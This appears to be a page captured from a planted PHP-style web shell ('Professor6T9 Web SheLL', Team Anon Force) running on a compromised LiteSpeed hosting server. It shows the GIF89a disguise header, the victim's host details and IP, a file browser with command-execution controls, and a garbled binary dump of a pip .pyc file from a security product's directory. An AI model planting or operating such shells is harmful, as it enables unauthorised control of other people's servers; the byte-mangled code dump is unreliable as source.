GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium133.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
162.0.232.69
/
opt
/
imunify360
/
venv
/
lib
/
python3.11
/
site-packages
/
pip
/
_internal
/
utils
/
__pycache__
[ HOME ]
Exec
Submit
unpacking.cpython-311.pyc
� L�i�2 � �� � d Z ddlmZ ddlZddlZddlZddlZddlZddlZddl Z ddl mZ ddl mZ ddl mZ ddlmZmZmZmZ ddlmZ ej e� � Zeez Z ddlZeez Zn # e$ r e� d � � Y nw xY w ddlZeez Zn # e$ r e� d � � Y nw xY wd/d �Zd0d�Zd1d�Z d2d�Z!d/d�Z"d3d�Z#d4d�Z$d5d6d#�Z%d7d$�Z&d8d)�Z'd9d+�Z( d:d;d.�Z)dS )<zUtilities related archives.� )�annotationsN)�Iterable)�ZipInfo)�InstallationError)�BZ2_EXTENSIONS�TAR_EXTENSIONS� XZ_EXTENSIONS�ZIP_EXTENSIONS)� ensure_dirzbz2 module is not availablezlzma module is not available�return�intc �V � t j d� � } t j | � � | S )zBGet the current umask which involves having to set it temporarily.r )�os�umask)�masks �}/builddir/build/BUILD/imunify360-venv-2.6.1/opt/imunify360/venv/lib/python3.11/site-packages/pip/_internal/utils/unpacking.py� current_umaskr - s! � � �8�A�;�;�D��H�T�N�N�N��K� �path�str� list[str]c �* � | � d� � � d� � } d| v rJd| v r,| � d� � | � d� � k sd| vr| � dd� � S d| v r| � dd� � S | dgS )N�/�\� � )�lstrip�find�split�r s r �split_leading_dirr! 4 s� � ��;�;�s���"�"�4�(�(�D� �d�{�{� ����$�)�)�C�.�.�4�9�9�T�?�?�:�:�t�4�?O�?O��z�z�#�q�!�!�!� �����z�z�$��"�"�"��b�z�r �paths� Iterable[str]�boolc �^ � d}| D ]'}t |� � \ }}|s dS |�|}�||k r dS �(dS )zyReturns true if all the paths have the same leading path name (i.e., everything is in one subdirectory in an archive)NFT)r! )r"